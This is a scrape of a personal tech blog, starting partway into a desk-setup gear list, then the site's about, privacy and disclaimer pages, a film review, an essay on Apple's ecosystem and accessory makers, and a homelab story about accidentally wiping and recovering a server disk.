A Christmas gift given by my company. The [Lenovo Smart Display 7](https://www.lenovo.com/us/en/smart-display/) is the main hub of my home automation and occasionally tells me about the weather when I ask.
## 15. Shure MV7 + Samson MBA18

One of the best microphones you can get for video conferences and podcasting in 2023 without having to purchase a bunch of other peripherals.
The [Shure MV7](https://www.shure.com/en-US/products/microphones/mv7?variant=MV7-K) is the little brother of the [SM7B](https://www.shure.com/en-US/products/microphones/sm7b?variant=SM7B). It can plug directly to your computer via USB and does not require an additional CloudLifter to remotely sound good, unlike it’s elder brother.
It is mounted on the [Samson MBA18](https://samsontech.com/products/accessories/microphone-stands/mba18/), a desk clamp-styled extendable 18-inch Microphone Boom Arm.
## 16. Tecware Haste CDR 900

The [Tecware Haste Cordura 900 Mouse Mat](https://www.tecware.co/haste-mousemats) rests right on top of a custom-printed desk mat that covers the entirety of my desk to cover up the old stains and heat damage my antique wooden desk accumulated over the years.
Considering I tend to snack and eat at my desk when I work from home, the Tecware Haste has been a godsend as the Cordura material allows me to just simply wipe it down and it doesn’t stain even if crumbs or soup drips on it.
## 17.1 UGREEN 300W Nexode GaN Desktop Charger

As more and more of our devices support faster charging protocols, I found myself getting more and more charging devices to keep them all charged. I then saw UGREEN release [the world’s first 300W GaN charger](https://www.ugreen.com/products/ugreen-300w-desktop-usb-c-gan-charger?variant=40359894515774). I instantly replaced all my charging bricks with this single charger.
It is able to keep all my devices and power banks charged and ready at the same time.
## 17.2 ORICO Thunderbolt 3 Dock

I’ve been hunting for a TB3 and above dock to turn my setup into a one-cable connection for a long while and finally found the [ORICO TB3 Dock](https://www.amazon.sg/dp/B0B28JQ9KK) to be within a decent budget.
My monitors are connected via the DP and USB-C port from this dock, the rest of the USB peripherals are daisy-chained via a USB 2 hub to one of the USB 2 ports to reduce cables from the dock. The dock is hidden from view behind the bottom monitor.
## 18. Sharge Capsule Gravity 5,000 mAh

The [Sharge Capsule Gravity](https://sharge.com/products/shargeek-capsule-gravity-5000mah-mini-power-bank-usb-c-fast-charging) was too cute to pass, I added all 3 colorways along with the Flow since it is also on 67% discount and kept one permanently on my speaker shelf.
It features a built-in Pomodoro alarm that you can activate by flipping it horizontally. I use it frequently to focus on tasks.
## 19. Gravastar Alpha65 65W Charger

I bought a pair of the [Gravaster Alpha65 Charger](https://www.gravastar.com/products/alpha65-gan-fast-charger) on impulse as the Crystal Blue colorway is limited to only 2,000 worldwide. I kept the limited edition one BNIB and bought another Dawn White to pair with the Charcoal Gray. I bought these purely for aesthetics.
To date, I have only used them once. I consider them just as a couple of expensive desk toys.
## 20. Sharge Phantom 240W Charging Cable

The [Sharge Phantom](https://sharge.com/products/sharge-phantom-usb-c-to-usb-c-cable-240w-fast-charging-samsung-galaxy-huawei-xiaomi-4ft-tpe) cables are one of the best cables I’ve used. I like the texture and feel of it, and the logo that lights up is subtle and aesthetic. I keep a couple of them in my power bank pouch as well as a few of them lying around the house for whenever I need them.
I have them all in white, and that it can support 240W, and can pretty much future-proof my charging needs.
## 21. SGUAI Smart Coffee Cup

Received the [SGUAI Smart Coffee Cup](https://shopee.sg/SGUAI-C3-Smart-Pixel-Coffee-Cup-350ml-Thermos-Insulated-Travel-Mug-DIY-Personalized-Text-Animation-Pixel-Expression-i.273466563.22464029045) from One2World as a gift. I’ve been using it as a coffee cup whenever I need caffeine.
It’s more of a gimmick than anything useful, although it can keep my drink warm for an average of 3-4 hours, it’s not any better than any other coffee cup.
The only interesting part is the LCD panel, which you can customize with an app.
## 22. Orico 5-Bay HDD Dock

As a designer and developer, storage is always a problem, especially when you take into account PSDs, RAW video files as well as data dumps. I purchased the [Orico 5-Bay HDD Dock](https://www.amazon.sg/ORICO-Tool-Free-Magnetic-Type-Enclosure-External/dp/B086G97JCK/?crid=209NFV4XVGI9J&dib=eyJ2IjoiMSJ9.m8E2xnzi46wwD8y5wj3t6AJkpiHMGnohXeORUiZdrz1uWGpnXLojfrUGb3FD4KbpaiXyp4E2M6jnaDsjfZhpg_bg2D3tlL5UftO0HfX4pfLNZbyIjmlSlVlVuDW26MYmi4MlzD5gDNSj8sqDNtSWoQQaBztIGO5qFKB0WKH_xITl1otTr7TMStxCVZfIPGfFlC59KtN6ZPkI4RGyDGn6o30DX-n863stoCBFbiZFDp26pezn_-nCUCG-0h8kULuiyxju53puy-71mWGm8RnX_p_FPpyI94MkFzkQckj-pmg.-1vAI7fIFR6gEPCQeU2SnsxjKRrA1b2AOSV-BXlL0Hk&dib_tag=se&sprefix=orico+,aps,615) to help with the ease of adding & swapping different disks.
The dock also comes in clutch for when I need to set up new disks and has the function to clone disks too.
## 23. IKEA Tertial Work Lamp

Being a fan of industrial design and aesthetics. The [IKEA Tertial Work Lamp](https://www.ikea.com/sg/en/p/tertial-work-lamp-dark-grey-50355395/) is an obvious choice when it comes to deciding on a desk lamp.
I fitted it with a [Tapo Multi-Color Smart Lightbulb](https://www.tapo.com/en/product/smart-light-bulb/tapo-l530e/), which I control via Google Home.
---
---
title: "Reviews"
url: "https://alsonkaw.com/reviews/"
lang: "en-US"
type: "page"
last_modified: "2024-08-14T05:36:07+00:00"
custom_fields:
page_custom_navigation: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
navigation_hide_on_scroll: "enable"
---
# Reviews
---
---
title: "Connect"
url: "https://alsonkaw.com/connect/"
lang: "en-US"
type: "page"
description: "Connect Hey there. I’m Alson, the person behind this site — because I figured you might enjoy my insights on the latest tech and trends. I’ve been tinkering with this site since 2008. The site has went through countless revisions"
last_modified: "2024-08-26T08:33:16+00:00"
custom_fields:
page_custom_navigation: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
navigation_hide_on_scroll: "enable"
page_custom_footer: 1
footer_show: "show"
footer_template: 1748
footer_fixed: "disable"
---
# Connect
##
Connect
## Hey there.
I’m Alson, the person behind this site — because I figured you might enjoy my insights on the latest tech and trends.
I’ve been tinkering with this site since 2008. The site has went through countless revisions and revamps, but it wasn’t until 2020 that I decided to turn it into something more purposeful. My mission? To help share my thoughts and insights help you make smarter choices about travel gear and experiences without sacrificing style for comfort.
Unlike those other travel blogs and sites where comfort reigns supreme, I’m all about how gear and my tech look — because who says you can’t be stylish while adventuring?
What sets this site apart from the rest? Well, let me break it down:
#### My Unique Take
This site is my personal playground. I test every product and experience myself, diving deep to give you the best insights. All reviews are crafted by yours truly, ensuring a touch of quality and impartiality.
#### Brutal Honesty
Expect no sugarcoating here. My reviews are unapologetically honest. If you’re a brand looking to partner with me, be prepared for feedback that can help you improve — maturity is key.
#### No Compromises
I don’t accept money to write glowing reviews. This site isn’t my main source of income, so I won’t compromise on quality or honesty just to make a buck. My goal is to provide readers with insights that genuinely help.
#### Focused Engagement
I’m not here to amass thousands of readers; I want engaged, loyal ones. Fewer views but stronger connections — that’s the plan.
## Interested in Collaborating?
#### Product Review
Got something you want reviewed? Send it my way, but it better fit the “3Bs” (black, beautiful, badass). Keep in mind:
- You’ll cover all shipping and import fees. The product won’t be returned.
- Only black products get reviewed. For any other goods, at least have a white or light version.
- You can use the photos and content from the review for marketing, as long as it’s in context.
- Sending a product doesn’t guarantee a favorable review, but it does guarantee honesty.
- Reviews take time—expect a lead time of around two months.
#### Experience Review
Want me to review an experience? I’m game to explore anything from experience tours to accommodations, but:
- You’ll need to cover all expenses like transport, accommodation, and daily costs.
- As with product reviews, honesty is guaranteed, not flattery.
## IMPORTANT: I DO NOT
Accept sponsored or guest posts.
- Take compensated review requests.
- Answer product questions via email — comments on reviews are your best bet for advice.
Ready to team up? Drop me a line at hello [at] alsonkaw [dot] com, and let’s chat!
---
---
title: "Muses"
url: "https://alsonkaw.com/muses/"
lang: "en-US"
type: "page"
last_modified: "2024-08-14T05:35:40+00:00"
custom_fields:
page_custom_navigation: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
navigation_hide_on_scroll: "enable"
---
# Muses
---
---
title: "Home"
url: "https://alsonkaw.com/"
lang: "en-US"
type: "page"
description: "Muses. Reviews. Portfolio. This is my digital playground — a space where I share my thoughts and dive deep into the world of technology, development, marketing, business, and psychology.Here, you’ll find a mix of my notable works, insights, product reviews,"
last_modified: "2025-09-15T06:40:16+00:00"
custom_fields:
page_custom_navigation: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
topbar_show: "show"
topbar_template: 1722
page_custom_footer: 1
footer_show: "show"
footer_template: 1748
footer_fixed: "disable"
page_custom_back_to_top: 1
page_custom_site_protection: 1
site_protection: "hide"
---
# Home
#
Muses. Reviews. Portfolio.
This is my digital playground — a space where I share my thoughts and dive deep into the world of technology, development, marketing, business, and psychology.
Here, you’ll find a mix of my notable works, insights, product reviews, and explorations into the ideas that drive the modern world, all crafted to spark your imagination and fuel your curiosity.
#### Latest Muses
[
See More Muses
](/muses/)

#####
Muses
Thoughts and insights on technology, business, marketing, design, development, security, psychology and entertainment.
[
Mull over my Muses
](/muses/)

#####
Reviews
Detailed reviews about the latest in tech gadgets, desktop setup gears, travel products, and everyday carry essentials.
[
Read the Reviews
](/reviews/)

#####
Portfolio
Showcase of recent highlights and notable works. Including collaborations with various brands and businesses.
[
Peruse the Portfolio
](/portfolio/)
##
[
/ Thoughts
](/muses/?vp_filter=category%3Athoughts)
##
[
/ Business
](/muses/?vp_filter=category%3Abusiness)
##
[
/ Technology
](/muses/?vp_filter=category%3Atechnology)
##
[
/ Marketing
](/muses/?vp_filter=category%3Amarketing)
##
[
/ Psychology
](/muses/?vp_filter=category%3Apsychology)
##
[
/ Design
](/muses/?vp_filter=category%3Adesign)
##
[
/ Development
](/muses/?vp_filter=category%3Adevelopment)
##
[
/ Thoughts
](/muses/?vp_filter=category%3Athoughts)
##
[
/ Business
](/muses/?vp_filter=category%3Abusiness)
##
[
/ Technology
](/muses/?vp_filter=category%3Atechnology)
##
[
/ Marketing
](/muses/?vp_filter=category%3Amarketing)
##
[
/ Psychology
](/muses/?vp_filter=category%3Apsychology)
##
[
/ Design
](/muses/?vp_filter=category%3Adesign)
##
[
/ Development
](/muses/?vp_filter=category%3Adevelopment)
[
See More Product Reviews
](/reviews/)
###
Less, but more.
I started reviewing products because I got fed up with mediocre products and wanted to streamline my life with fewer, better things.
For those of you on the same quest, tired of the endless parade of just-okay stuff, consider me your filter—I’m here to sift out the true gems from the sea of good-enoughs.
But let’s not forget, no amount of “best” products can hand you the adventures you crave. That part’s up to you. I hope my insights have sparked a little inspiration for your journey.
Recent Works
[
See More
](/portfolio/)
---
---
title: "Privacy Policy"
url: "https://alsonkaw.com/privacy-policy/"
lang: "en-US"
type: "page"
description: "Privacy Policy I’m a strong advocate for privacy, and your confidentiality is of the highest importance to me. I neither can nor wish to identify you through site analytics. Site analytics are important for managing a website like this. When"
last_modified: "2026-02-24T10:18:29+00:00"
custom_fields:
page_custom_navigation: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
navigation_hide_on_scroll: "enable"
page_custom_footer: 1
footer_show: "show"
footer_template: 1748
footer_fixed: "disable"
---
# Privacy Policy
##
Privacy Policy
I’m a strong advocate for privacy, and your confidentiality is of the highest importance to me.
### I neither can nor wish to identify you through site analytics.
Site analytics are important for managing a website like this. When I seek collaborations with brands, they need information about my site’s traffic and audience demographics to make informed decisions.
In my quest to reduce reliance on Google, I switched from Google Analytics to the privacy-focused [Matomo Analytics](https://matomo.org/) in 2023. This transition gives me complete ownership of the data, as it’s stored on my own server rather than Google’s.
Matomo Analytics also allows me to anonymize your IP address, so I don’t have access to your full IP and cannot identify you. Not that I would ever want to. Audience demographics are collected and presented to affiliates only in aggregated form.
### This site is free from Google services.
As of December 2023, this website no longer uses Google services like Google Analytics, Google Ads, or Google Tag Manager. While Google provides numerous benefits to website owners, I found the [privacy concerns](https://en.wikipedia.org/wiki/Privacy_concerns_with_Google) outweighed these advantages.
I’ve replaced Google Analytics with Matomo Analytics for better privacy, I have also removed Google Ads as a monetisation method.
Google Fonts are used for styling, but the files live on my server and load from this site. Your browser does not connect to Google to fetch them.
### Affiliate Tracking
Another way your activity on this site may be tracked is through affiliate platforms I work with. When you read a review and decide to purchase a product via one of my links, I may earn a small commission for the referral.
Since there are no automated ads on this website, this affiliate income is a key way to support the site without any extra cost to you. When you click on a link within a review, the affiliate platform recognizes that the referral came from my site. However, no personal information is exchanged that could identify you, apart from what you provide during the purchase on the merchant’s site.
The data transferred varies by affiliate platform and includes details like what was bought and the total spent, which is used to calculate commissions. Rest assured, this information does not include any personal details that could reveal your identity. I have no interest in identifying who purchased five sets of Sharge power banks at one go, and my focus remains on providing valuable content.
### Third-party tracking
If you click on a link that directs you to another website, they may track your activity, and I have no control over that. Similarly, while I strive to partner with reputable third-party services, I cannot control how they track you.
### If you reach out to me, I will have access to your information. Duh.
The only other instances where I have access to your data are when you voluntarily provide it, such as by emailing me, messaging me on Reddit or Instagram, or leaving a comment on a muse with your real information. This data isn’t compiled into a list, but it will be visible to me through the services you use to contact me.
---
---
title: "Disclaimer"
url: "https://alsonkaw.com/disclaimer/"
lang: "en-US"
type: "page"
description: "Disclaimer This blog has been around for quite a while—my first post dates back to 2009, where I rambled on about Rails vs. PHP. Initially, I created this space to share my journey and insights.Over the years, I’ve shifted my"
last_modified: "2025-11-17T10:44:16+00:00"
custom_fields:
page_custom_navigation: 1
navigation_show: "show"
navigation_type: "default-center"
navigation_opaque: "enable"
navigation_transparent: "enable"
navigation_transparent_always: "disable"
navigation_sticky: "enable"
navigation_hide_on_scroll: "enable"
page_custom_footer: 1
footer_show: "show"
footer_template: 1748
footer_fixed: "disable"
---
# Disclaimer
##
Disclaimer
This blog has been around for quite a while—my first post dates back to 2009, where I rambled on about [Rails vs. PHP](/muse/php-vs-rails/). Initially, I created this space to share my journey and insights.
Over the years, I’ve shifted my focus to product reviews, aiming to provide valuable information so that like-minded individuals can make informed purchasing decisions with confidence.
### Reflections & Insights
My muses explore a diverse range of topics including development, marketing, design, business, psychology, technology, and more. These articles express my own personal opinions and experiences. These perspectives may evolve over time and may not always represent my personal viewpoint.
The code snippets, technical advice, and programming examples shared on this blog are intended solely for educational purposes. Always test codes in controlled environments and follow best practices. I assume no responsibility for how code is applied in real-world scenarios.
I strive to provide accurate and up-to-date information, but given the rapid advancements in the tech industry, there may be occasional inaccuracies or outdated content. I encourage you to independently verify any details and seek professional advice when necessary. **Trust but verify**.
### Product Samples
Quality gear often comes with a price tag, and while I’d love to buy everything I review, that’s not a sustainable approach for the long haul.
I do purchase most of the products I review with my own funds, but I also sometimes request samples from companies whose products I believe meet high standards. This allows me to share my findings with you, and the community.
When companies provide samples, they do so with the understanding that my reviews will be honest, highlighting both the strengths and weaknesses of their products. I **do not** accept payments for favorable reviews, nor do I post pre-written reviews.
### Affiliation
For most of the products featured on this site, I earn no commission from your purchases, as my primary goal is to offer valuable insights. However, some products may provide a small commission at no extra cost to you.
I invest significant time in researching, photographing, and writing about each product, spending weeks testing them to ensure my reviews are thorough and authentic. I take pride in offering in-depth reviews based on my personal experience, standing out from many others.
The commissions I earn are minimal and don’t even amount to minimum wage for the hours I put in, but I continue this work because I genuinely enjoy it. In fact, all of my earnings are reinvested into the blog, covering costs like photography equipment, server fees, and product purchases for review.
That said, only buy what truly suits your needs and enhances your experiences. The goal of this website is to help you make informed decisions, and I hope to reflect this in my reviews and recommendations.
Thank you for your continued support and for reading.
---
---
title: "Talk to Me"
url: "https://alsonkaw.com/muse/talk-to-me/"
lang: "en-US"
type: "post"
description: "Sophia Wilde is amazing in this film. She just fully portrayed someone on the verge of complete mental collapse for more than half the film and it really got to me. The rest of the cast was well acted but"
last_modified: "2024-08-23T04:35:19+00:00"
categories: [Movie Reviews, Trends & Reflections]
---
# Talk to Me
Sophia Wilde is amazing in this film. She just fully portrayed someone on the verge of complete mental collapse for more than half the film and it really got to me. The rest of the cast was well acted but their characters didn’t really do much.
The film’s troupe feels really familiar but unique enough to feel fresh and it still manages to be fun despite being so oppressive and depressing..’ really familiar, but unique enough to feel fresh and it still manages to be fun despite being so oppressive and depressing.
---
---
title: "Symbiotic Relationships in Tech"
url: "https://alsonkaw.com/muse/symbiotic-relationships-in-tech/"
lang: "en-US"
type: "post"
description: "You know those parasitic fishes that stick themselves onto sharks and eat their leftovers? They are called the remora fish and the relationship between the sharks and these fishes are called a symbiotic relationship."
last_modified: "2024-08-23T04:38:22+00:00"
categories: [Business Strategies & Market Insights]
tags: [Apple]
---
# Symbiotic Relationships in Tech
## Preamble
You know those parasitic fishes that stick themselves onto sharks and eat their leftovers? They are called the remora fish, and the relationship between the sharks and these fishes are called a symbiotic relationship. The parasites usually spends the most of their lives being close to or attached to the host, usually benefiting while harming the host in some way and usually having a higher reproductive potential than the host.
In the case of the remora fish, they eat the leftover food, and other parasites on the shark and keeps it clean in return. This is a win-win symbiotic relationship.
Now, in the tech world, Apple is definitely the shark, commanding a valuation of $3 Trillion for the first time in Jun 2023. So, then you ask, where are the remora fishes? There used to be none. Until Apple recently released the Find My Network API under the [MFi program](https://mfi.apple.com/).
## What is the MFi Program
MFi stands for “Made for iOS/iPadOS”. It is a certification from Apple that basically guarantees that the certified accessory has been acknowledged by Apple and they are 100% supported by their devices, and is safe for use. (Granted, there are certain limitations, for example iOS/iPadOS versions or product models to take note of.)
The MFi certification is only exclusive to Apple product users, and it is an assurance laid upon them that ensures the accessory consumers are buying is made of quality materials and compatible with their devices. You can be sure of the items’ quality you are getting.
As we are all aware—Apple products have long been considered a luxury and a status symbol. But besides the prestige of owning a prominent brand, their devices like the Macintosh, iPhone, iPad, and various accessories like an MFi charger and MFi lightning to 3.5mm audio adapter are reliable, and they will last for many years.
Lastly, an MFI certified accessory puts your devices at less risk of potential damage. Some counterfeit accessories may still work on your Apple products, but you have to bear in mind, for example, a non-MFi charger’s flow of electric currents is not regulated, which would potentially wear out, or even break down your device.
The certification basically tells the consumer that the accessory that they’re shopping for was approved by the Apple brand. And that they no longer have to worry about compatibility issues when pairing them to your iOS device or safety concerns. The good news, however, is that MFi certification is not limited to Apple products. As long as third-party brands have conformed to the standard of Apple, they are authorized to sell accessories for their brand.
## Symbiotic Companies
Now, let’s get back to the topic at hand. There are many companies — including popular ones that you may have heard of while shopping for accessories — that operate like remora fish (or at least part of their SKUs revolve around being like one) around the shark named Apple.
Anker, Belkin, Spigen, Moshi, MOFT just to name a few.
Many of the above companies’ primary business function happens to be manufacturing an accessory that attaches itself to something Apple made, and that is a dangerous place to live. So this is a whole dynamic and it’s so fascinating to watch, because there are so many examples of it.
And of course, the [Apple AirTags](https://www.apple.com/airtag/) being one of the items that has been making me think a lot about lately. But really, anytime Apple enters a new product category, they get a lot of attention because everyone is curious about how Apple will implement the product the Apple-way. How will they separate themselves from the competitors or do anything technically different? And AirTags, they definitely have some very legitimate features, like the precision find feature, that points an arrow to where the tracker is, which is a cool demo.
## Bluetooth® Trackers
However, Bluetooth® trackers are not a new space. Take for example, [Tile](https://www.tile.com/), has been making these things since 2013, and they do fundamentally the same thing, helping you find whatever you attach it to by pinging other phones around that have it’s app installed. Creating a community mesh network, to help you find your things. There are other brands too, with, or without the mesh network that functions exactly the same.
But for the core function of finding your missing items, the AirTags have a massive advantage over all the other brands. And that is market-share. It is no longer just people using whatever brand’s app on their mobile phones. It’s now the entire Apple’s mobile product range, from iPhones, to iPads and Macbooks. And they all now passively update the position of something near it anytimes it’s around a device on that network. It’s frictionless and it happens silently and effortlessly in the background. You don’t even know it’s happening and the network is massive, Apple recently revealed that it now has 2 billion active devices all over the world in February 2023.
Comparing to Tile, after being acquired by [Life360](https://www.life360.com/intl/), the 47 million users of the app were added to the 50 million existing Tile users, totalling the active network to almost 100 millions active users. That’s 1/20th the number of active Apple users. See where I’m going with this?
Due to Apple’s ability to plug things into the ecosystem, especially with the iPhone, Apple can easily kill entire companies, but they dont do it manacingly, they do it nicely by presenting it as a choice on a silver platter.
In April 2021, Apple opened up the find my network to allow third-party accessories to take advantage of this incredible network. Right out of the gate, there were already e-bikes and earbuds and other Bluetooth® trackers that you can find based on nearby devices, like [some Chipolo trackers](https://chipolo.net/en/products/category/chipolo-spot).
I’ve also recently bought an [off-brand Bluetooth® tracker](https://www.tiktok.com/@tananston/video/7298513903426817298) from [Anston and Friends (m2i) on TikTok](https://www.tiktok.com/@tananston) and was pleasantly surprised by the quality and functionality. Granted, it’s not an AirTag replacement. However, it has most of the features of an AirTag, minus the beautiful arrow in the Find My UI that points you to the last known location of the AirTag. But it definitely functions good enough to be classed as a Bluetooth® tracker. It helps that it’s alert beeps are louder than the authentic AirTags as well, so I guess that’s it’s differentiator from AirTags, to compensate for the missing arrow.
## The Choice
With that single move, Apple forced all the companies whose primary business is making trackers using mesh networks to make a choice. It’s a pretty simple choice, but it’s really a bit of a paradox. Because either way, no matter which choice you choose, Apple wins.
Let’s say Tile chooses to make a compatible tracker to use the Find My ecosystem. It seems great at first. Their users immediately can take advantage of the better network but now it means a portion of new Tile customers who were going to buy the regular tile that plugs into and improves the existing TIle network will actually be plugging into and improving Apple’s network instead. Selling a device that encourage a user to plug into another companies’ infrastructure instead of your own actively hurts your own business and will make your own network less desirable over time.
The other choice is to not participate in the Find My Network, and not offer a tile that works with it. Which just means you’re missing out on those sales. Tile’s existing network will become less appealing and slowly dies over time as people just buy the ones with the more deeply compatible iPhone.

But hey, that’s still technically a choice, Right? Look how friendly this guy is, he would never force you to do anything you didn’t want to. You can just choose to work with the iPhone or not, it’s up to you. You can choose to swim off into the rest of the ocean or you can stay swimming with me. the shark. Makes sense right?
I’d actually say the paradox of choice happens twice with AirTags. Once with Tile’s decision to become MFi certified, and another with the consumers. If you’re an iPhone user now, technically you have a choice between 2 different options. One is going to require a separate app and has a much smaller network and the other just kind of plugs right in and seamlessly work in the background. They are around the same price.
See where I’m getting at again? Apple will always repeat day-in and day-out that there are compeition, you can always choose their competitor’s product over their own. But Apple is smart too, they know they have deep market penetration with the iPhone. When they want to leverage that to jump into a new product category, they’ll do it. It’s not the first time too. With the iPad (tablet), and the Apple Watch (smart watch), they have demonstrated and made it abundantly clear that they have no problem entering a new market and then dominate that market easily by making use of their ecosystem. The AirPods are also one of the most popular earbuds among iPhone users.
Yet by doing this, they actively kill entire companies like when the shark decides to close it’s mouth and eat the fish that was cleaning it’s teeth, Apple’s done this so many times. Some of the best examples are early jailbreak-only apps for the iPhone, like [f.lux](https://justgetflux.com/), the app that lets you change color temperature of your screen by adjusting the blue light output. iPhones integrated this into the iOS and pretty much made the company obsolete. Album Cover display on the iPhones were also a jailbreak-only paid app, which Apple developed their own and released in a later iOS version.
The next examples are styluses. Before the [Apple Pencil](https://www.apple.com/apple-pencil/), you could get styluses of all price-points that worked with the iPads. Effectively letting you do the same thing. Later on, Apple dropped in at the high end with the Apple pencil, and then locked these third-party styluses out of some features. And guess what? Apple Pencil are now the only pencil you can use if you want the full features of a stylus with the entire iPad range. No other styluses are able to magnetically attach itself to the iPads and charge the stylus at the same time. Not to mention the automatic pairing. It just works.
I believe eventually, Apple would release a pencil with a chip that allows it to tap into the Find My Network too, and allow you to find the pencil you lost (which is not uncommon). There’s just no way to justify buying a different stylus for the iPad anymore, even though there are still abundant of choice for the consumers.
Other examples include:
- [Duet Display](https://www.duetdisplay.com/) -> Sidecar
- [Watson](https://www.karelia.com/watson/) -> Spotlight
- Flashlight app -> Built-into iPhone now
I encourage you to pay more attention to the symbiotic relationship in the tech world right now. With this much discussion on the whole Anti-Trust and Walled Garden talks. Tile actually testified in front of Congress to accuse Apple of leveraging an unfair advantage to enter the market the day after AirTags were released. And funny enough, Apple would argue that they did not dominate the market. They let people choose. They gave people a choice. Every company had a choice to plug into the Find My network. The choice was on the table.
---
---
title: "Server Screw-Up"
url: "https://alsonkaw.com/muse/server-screw-up/"
lang: "en-US"
type: "post"
description: "Preamble Yesterday, I thought I should add a new 1TB drive to my home server as a backup for the photos stored within Immich. Since I have a couple users there, I'd like to at least have backup of the"
last_modified: "2024-08-23T04:41:03+00:00"
categories: [Homelab Projects & Self-Hosting Adventures]
tags: [Screw-Ups]
---
# Server Screw-Up
## Preamble
Yesterday, I thought I should add a new 1TB drive to my home server as a backup for the photos stored within Immich. Since I have a couple users there, I’d like to at least have backup of the photos in case my docker SSD dies.
After plugging in the new disk and rebooting. I did a quick `df -h` to see all disk. Regrettably, I forgot I should be using `lsblk -e7` instead for a clearer view without all the loopbacks.
I quickly read it and looked at the return. Hmm, I had 3 disks. Added the forth, so it should be `/dev/sdd` right. **Right?**
Well f**k me sideways, because `/dev/sdd` is the Docker SSD. I then immediate do a `gdisk`, and typed in`/dev/sdd` while thinking of the cron script I was gonna write.
## Act II: Panic
Immediately, my NTFY server and all my notifications started going off. “Service Down” messages are coming in from everywhere. _F**K! Something’s wrong_, I thought.
I quickly loaded up my webmin, and lo and behold. My mounted drives on the homepage shows only 2 mount points, boot and the main OS LVM. My docker mount points are now missing.
Holy Batman! I quickly go back to my terminal and check. The docker folder I keep all my compose, empty. What about `/var/lib/docker`? Empty.
Shit. I screwed up. My immediate reaction is to shut down the server right now, and find something that I can do to recover the data from the disk. Luckily, I noticed it quickly before I even mount the disk somewhere and start copying the files over. Granted I won’t be able to do that since the docker SDD is now empty. But I count my blessings.
I felt my heart immediately dropped lower than my balls. Blood went cold. Full-on panic mode. My girlfriend was also panicking with me.
## Act III: Disk Recovery
I unplugged the SSD from the server and ran into my room. Plugged it into my external disk dock and immediately started to google for disk recovery for EXT3 FS. Found a few Stack Overflow threads recommending [TestDisk](https://www.cgsecurity.org/wiki/TestDisk) for recovery. Downloaded and ran it.
Started up the application while feeling every single beat of my heart. Lo and behold! Both partitions on the disk showed up. Followed the documentation to re-write the partition table back to the disk. Success! Mounted the disk to my ubuntu VM and did a quick scan. All my files are back!
Happily skipped to the server, plugged everything in. Pressed the power button with my fingers crossed. Watched the HP logo appear. Good, good.

GOD DAMMIT. Maybe if I wait, it’ll work? 5 minutes passed. Same screen. Great, OS corrupted. Back to the standard power down, unplug disk, run to my room, plug into external disk dock.
## Act IV: Operating System Operation
Back to Googling. Found a few Stack Overflow threads again with users facing the same issue. Solution: Download Ubuntu live disk, run boot-repair, righto. Got down to it. I have a ubuntu VM, no need for live disk. Booted the VM up once again. Downloaded and installed boot-repair. Met with an issue. Can’t repair while Ubuntu is running. What?
Turns out you have to run it via a live disc before you can repair an attached disk. Fine, downloaded the live boot iso. Attached to my VM’s virtual DVD. Doesn’t work. At this point, I’m prepared to not sleep at all to fix this.
Dug and found a few USB thumb drives. Plugged in and flashed the ISO into one of them using balenoEtcher. Plugged it into the server and booted into live. Repeat the process and yay! It worked.
Unplugged the USB, started the server again. and finally. It booted into the system.
## Act V: Mounting Confusion
Quickly SSH’d into the server and realized that apart from the `/boot` and the system, the drives were all jumbled up with the mount points. My `/dev/sdd1` mounted to the right place at `/var/lib/docker`, but my docker compose partition is not mounting to it’s original point.
Messed with it for about 10 minutes while scratching my head. Tried Googled but to no avail. I tried mounting to another folder and it worked, files are all there. Just as I was about to give up. I thought to check Webmin to see how the mount points are being set. And guess what, the disks mount points were still reserved at boot but couldn’t find the drive. Found the issue.
Did what’s necessary and cleaned up the mount points. Now it’s mounting successfully. Everything’s doing well. Time to reboot.
## Act VI: Finally at Ease
Server booted, managed to SSH in. Had to manually start Apache, MySQL and a few other services, but docker was working and started automatically with all my containers and compose files in place.
Finally breathed a sigh of relief and did a quick check on all my services to ensure there are no database corruption as well. Took an hour to ensure everything seems to be in order. Enough excitement for a day, I left the new disk in the server and didn’t want to touch it until the weekends.
## Morale of the Story
Don’t do sensitive stuff to your server at night when you’re already chilled and relaxed. Not worth the panic. Also, always double check the disks before you do anything stupid. From now onwards I’ll be preparing the disk on my desk instead of directly on the server. Minimizies screw ups this way.
---
---
title: "Kindnessas a Signifier of intelligence"
url: "https://alsonkaw.com/muse/kindnessas-a-signifier-of-intelligence/"
lang: "en-US"
type: "post"
description: "This excerpt from Governor J.B. Pritzker's commencement address at Northwestern University deeply resonates with me. As I grow older, my thoughts align increasingly with this perspective. While I recommend watching the entire speech, here's the essence of it that particularly"
last_modified: "2024-08-23T04:42:40+00:00"
categories: [Psychology & Human Behavior]
tags: [Psychology]
---
# Kindnessas a Signifier of intelligence
This excerpt from Governor J.B. Pritzker’s commencement address at Northwestern University deeply resonates with me. As I grow older, my thoughts align increasingly with this perspective. While I recommend watching the entire speech, here’s the essence of it that particularly stands out to me:
>
The best way to spot an idiot? Look for the person who is cruel. When we see someone who doesn’t look like us, or sound like us, or act like us, or love like us, or live like us — the first thought that crosses almost everyone’s brain is rooted in either fear or judgment or both. That’s evolution. We survived as a species by being suspicious of things we aren’t familiar with.
In order to be kind, we have to shut down that animal instinct and force our brain to travel a different pathway. Empathy and compassion are evolved states of being. They require the mental capacity to step past our most primal urges. I’m here to tell you that when someone’s path through this world is marked with acts of cruelty, they have failed the first test of an advanced society. They never forced their animal brain to evolve past its first instinct. They never forged new mental pathways to overcome their own instinctual fears. And so, their thinking and problem-solving will lack the imagination and creativity that the kindest people have in spades.
Over my many years in politics and business, I have found one thing to be universally true: the kindest person in the room is often the smartest.
— J.B. Pritzker, Governor of Illinois, [at Northwestern’s graduation](https://twitter.com/darrenrovell/status/1673659149417078788)
Embracing the notion of countering acts of cruelty with a simple yet impactful response – “Idiot.”
---
---
title: "Jon Prosser on Marques Brownlee"
